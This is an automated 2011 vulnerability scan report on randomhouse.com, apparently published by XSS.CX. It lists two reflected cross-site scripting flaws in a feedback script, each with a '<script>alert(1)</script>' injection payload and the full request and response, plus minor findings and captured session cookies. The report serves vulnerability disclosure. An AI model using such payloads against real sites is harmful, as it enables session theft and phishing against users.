CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Tue Apr 26 18:24:25 CDT 2011.

XSS, Cross Site Scripting in randomhouse.com, CWE-79, CAPEC-86, DORK, GHDB

Loading

1. Cross-site scripting (reflected)

1.1. http://www.randomhouse.com/cgi-bin/feedback/feedback.php [loc parameter]

1.2. http://www.randomhouse.com/cgi-bin/feedback/feedback.php [name of an arbitrarily supplied request parameter]

2. Cross-domain Referer leakage

3. Cross-domain script include

3.1. http://www.randomhouse.com/

3.2. http://www.randomhouse.com/about/contact.html

3.3. http://www.randomhouse.com/about/faq/

3.4. http://www.randomhouse.com/about/faq/index.php

4. Email addresses disclosed

5. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.randomhouse.com/cgi-bin/feedback/feedback.php [loc parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.randomhouse.com
Path:   /cgi-bin/feedback/feedback.php

Issue detail

The value of the loc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 296c5"><script>alert(1)</script>422230dfc64 was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cgi-bin/feedback/feedback.php?loc=http://www.randomhouse.com/296c5"><script>alert(1)</script>422230dfc64 HTTP/1.1
Host: www.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:25 GMT
Server: Apache/2.0.63 (Unix) PHP/5.2.6 mod_fastcgi/2.4.6 mod_perl/2.0.4 Perl/v5.8.7
X-Powered-By: PHP/5.2.6
Content-Length: 6125
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>Feedback for RandomHouse.com</title>
   <style type="text/css">
       body { width: 500px; padding: 0; margin: 0; }
       #comments {
           background-color: #ddd;
           font-family: verdana, ar
...[SNIP]...
<input type="hidden" name="referer" value="http://www.randomhouse.com/296c5"><script>alert(1)</script>422230dfc64">
...[SNIP]...

1.2. http://www.randomhouse.com/cgi-bin/feedback/feedback.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.randomhouse.com
Path:   /cgi-bin/feedback/feedback.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b5a11"><script>alert(1)</script>06c74c5b53b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cgi-bin/feedback/feedback.php?loc=http://www.randomhouse.com/&b5a11"><script>alert(1)</script>06c74c5b53b=1 HTTP/1.1
Host: www.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:28 GMT
Server: Apache/2.0.63 (Unix) PHP/5.2.6 mod_fastcgi/2.4.6 mod_perl/2.0.4 Perl/v5.8.7
X-Powered-By: PHP/5.2.6
Content-Length: 6128
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>Feedback for RandomHouse.com</title>
   <style type="text/css">
       body { width: 500px; padding: 0; margin: 0; }
       #comments {
           background-color: #ddd;
           font-family: verdana, ar
...[SNIP]...
<input type="hidden" name="referer" value="http://www.randomhouse.com/&b5a11"><script>alert(1)</script>06c74c5b53b=1">
...[SNIP]...

2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.randomhouse.com
Path:   /about/faq/index.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /about/faq/index.php?ToDo=contact HTTP/1.1
Host: www.randomhouse.com
Proxy-Connection: keep-alive
Referer: http://www.randomhouse.com/about/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; mbox=session#1303855598284-166145#1303858226|PC#1303855598284-166145#1366928366|check#true#1303856426; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; SC_LINKS=about%3Acontact.html%3A%3A%5E%5Ee-mail%20Customer%20Service%5E%5Eabout%3Acontact.html%3A%3A%20%7C%20e-mail%20Customer%20Service%5E%5E; s_sq=ranhrollup%3D%2526pid%253Dabout%25253Acontact.html%25253A%25253A%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.randomhouse.com%25252Fabout%25252Ffaq%25252Findex.php%25253FToDo%25253Dcontact%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:40:30 GMT
Server: Apache/2.0.63 (Unix) PHP/5.2.6 mod_fastcgi/2.4.6 mod_perl/2.0.4 Perl/v5.8.7
X-Powered-By: PHP/5.2.6
Content-Type: text/html; charset=UTF-8
Content-Length: 15225

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <script src="/art/bw06/r
...[SNIP]...
<div id="rhbw_ecom">
                       
                       <a href="http://twitter.com/randomhouse"><img src="/art/bw06/base/follow-us-on-twitter.png" width="112" height="37" alt="Follow Us On Twitter" /></a><a href="http://www.facebook.com/RandomHouseInc"><img src="/art/bw06/base/fan-us-on-facebook.png" width="103" height="37" alt="Fan Us On Facebook" />
...[SNIP]...
<span class="KB_Brand">Powered by <a class="KB_LinkSmall1" href="http://www.activekb.com/" target="_blank">ActiveKB Knowledgebase Software</a>
...[SNIP]...
<li><a href="http://www.rhspeakers.com/">Random House Speakers Bureau</a>
...[SNIP]...
<li><a href="http://www.booksequalgifts.com/">Gift Ideas</a>
...[SNIP]...
<br />
                   <a href="http://www.bertelsmann.com/"><img src="/art/bw06/base/foot_logo_bmg.png" alt="Bertelsmann Media Worldwide" style="float:right;" />
...[SNIP]...
<!-- Resonance -->    <img src="http://c7.zedo.com/img/bh.gif?n=162&g=20&a=313&s=1&l=1&t=r" width="1" height="1" border="0" >

<!-- Start Quantcast Tag -->
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
<noscript>
<img src="//secure.quantserve.com/pixel/p-c49Y5WdLV8kPg.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...
<noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://code.randomhouse.com/b/ss/ranhrollup/1/H.17--NS/0"
height="1" width="1" border="0" alt="" />
...[SNIP]...

3. Cross-domain script include  previous  next
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


3.1. http://www.randomhouse.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.randomhouse.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: www.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:05:44 GMT
Server: Apache/2.0.63 (Unix) PHP/5.2.6 mod_fastcgi/2.4.6 mod_perl/2.0.4 Perl/v5.8.7
X-Powered-By: PHP/5.2.6
X-Pingback: http://www.randomhouse.com//xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 54541

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>

       <meta http-equiv="conte
...[SNIP]...
</script>
       <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.2/jquery.min.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

3.2. http://www.randomhouse.com/about/contact.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.randomhouse.com
Path:   /about/contact.html

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /about/contact.html HTTP/1.1
Host: www.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; mbox=session#1303855598284-166145#1303858211|PC#1303855598284-166145#1366928351|check#true#1303856411; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:38:58 GMT
Server: Apache/2.0.63 (Unix) PHP/5.2.6 mod_fastcgi/2.4.6 mod_perl/2.0.4 Perl/v5.8.7
Last-Modified: Fri, 22 Apr 2011 14:18:27 GMT
Accept-Ranges: bytes
Content-Length: 21915
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <script src="/art/bw06/r
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

3.3. http://www.randomhouse.com/about/faq/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.randomhouse.com
Path:   /about/faq/

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /about/faq/ HTTP/1.1
Host: www.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:27 GMT
Server: Apache/2.0.63 (Unix) PHP/5.2.6 mod_fastcgi/2.4.6 mod_perl/2.0.4 Perl/v5.8.7
X-Powered-By: PHP/5.2.6
Content-Type: text/html; charset=UTF-8
Content-Length: 24275

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <script src="/art/bw06/r
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

3.4. http://www.randomhouse.com/about/faq/index.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.randomhouse.com
Path:   /about/faq/index.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /about/faq/index.php?ToDo=contact HTTP/1.1
Host: www.randomhouse.com
Proxy-Connection: keep-alive
Referer: http://www.randomhouse.com/about/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; mbox=session#1303855598284-166145#1303858226|PC#1303855598284-166145#1366928366|check#true#1303856426; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; SC_LINKS=about%3Acontact.html%3A%3A%5E%5Ee-mail%20Customer%20Service%5E%5Eabout%3Acontact.html%3A%3A%20%7C%20e-mail%20Customer%20Service%5E%5E; s_sq=ranhrollup%3D%2526pid%253Dabout%25253Acontact.html%25253A%25253A%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.randomhouse.com%25252Fabout%25252Ffaq%25252Findex.php%25253FToDo%25253Dcontact%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:40:30 GMT
Server: Apache/2.0.63 (Unix) PHP/5.2.6 mod_fastcgi/2.4.6 mod_perl/2.0.4 Perl/v5.8.7
X-Powered-By: PHP/5.2.6
Content-Type: text/html; charset=UTF-8
Content-Length: 15225

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <script src="/art/bw06/r
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

4. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.randomhouse.com
Path:   /about/contact.html

Issue detail

The following email addresses were disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /about/contact.html HTTP/1.1
Host: www.randomhouse.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; mbox=session#1303855598284-166145#1303858211|PC#1303855598284-166145#1366928351|check#true#1303856411; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:38:58 GMT
Server: Apache/2.0.63 (Unix) PHP/5.2.6 mod_fastcgi/2.4.6 mod_perl/2.0.4 Perl/v5.8.7
Last-Modified: Fri, 22 Apr 2011 14:18:27 GMT
Accept-Ranges: bytes
Content-Length: 21915
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <script src="/art/bw06/r
...[SNIP]...
<a href="mailto:BBPublicity@randomhouse.com">BBPublicity@randomhouse.com</a>
...[SNIP]...
<a href="mailto:bdpublicity@randomhouse.com">bdpublicity@randomhouse.com</a>
...[SNIP]...
<a href="mailto:bdpublicity@randomhouse.com">bdpublicity@randomhouse.com</a>
...[SNIP]...
<a href="mailto:crownpublicity@randomhouse.com">crownpublicity@randomhouse.com</a>
...[SNIP]...
<a href="mailto:ddaypub@randomhouse.com">ddaypub@randomhouse.com</a>
...[SNIP]...
<a href="mailto:knopfpublicity@randomhouse.com">knopfpublicity@randomhouse.com</a>
...[SNIP]...
<a href="mailto:pantheonpublicity@randomhouse.com">pantheonpublicity@randomhouse.com</a>
...[SNIP]...
<a href="mailto:audio@randomhouse.com">audio@randomhouse.com</a>
...[SNIP]...
<a href="mailto:atrandompublicity@randomhouse.com">atrandompublicity@randomhouse.com</a>
...[SNIP]...
<a href="mailto:vintageanchorpublicity@randomhouse.com">vintageanchorpublicity@randomhouse.com</a>
...[SNIP]...
<a href="mailto:ecustomerservice@randomhouse.com">ecustomerservice@randomhouse.com</a>
...[SNIP]...
<a href="mailto:webmaster@randomhouse.com">webmaster@randomhouse.com</a>
...[SNIP]...

5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.randomhouse.com
Path:   /art/bw06/base/top_right_corner.png

Issue detail

The response contains the following Content-type statement:The response states that it contains a PNG image. However, it actually appears to contain a GIF image.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /art/bw06/base/top_right_corner.png HTTP/1.1
Host: www.randomhouse.com
Proxy-Connection: keep-alive
Referer: http://www.randomhouse.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:05:54 GMT
Server: Apache/2.0.63 (Unix) PHP/5.2.6 mod_fastcgi/2.4.6 mod_perl/2.0.4 Perl/v5.8.7
Last-Modified: Fri, 09 Jan 2009 20:54:28 GMT
Accept-Ranges: bytes
Content-Length: 372
Cache-Control: max-age=31536000
Expires: Wed, 25 Apr 2012 22:05:54 GMT
Content-Type: image/png

GIF89a..R....TTTCCC......!.......,......R......................H........{..L....:)....
.....L*....    ........j.\.....G....-...........F....<..X.8H..W.(w......)..I.5Y.Yu.....    
..J.5Z..u.....
;..K.3[.{s.
...[SNIP]...

Report generated by XSS.CX at Tue Apr 26 18:24:25 CDT 2011.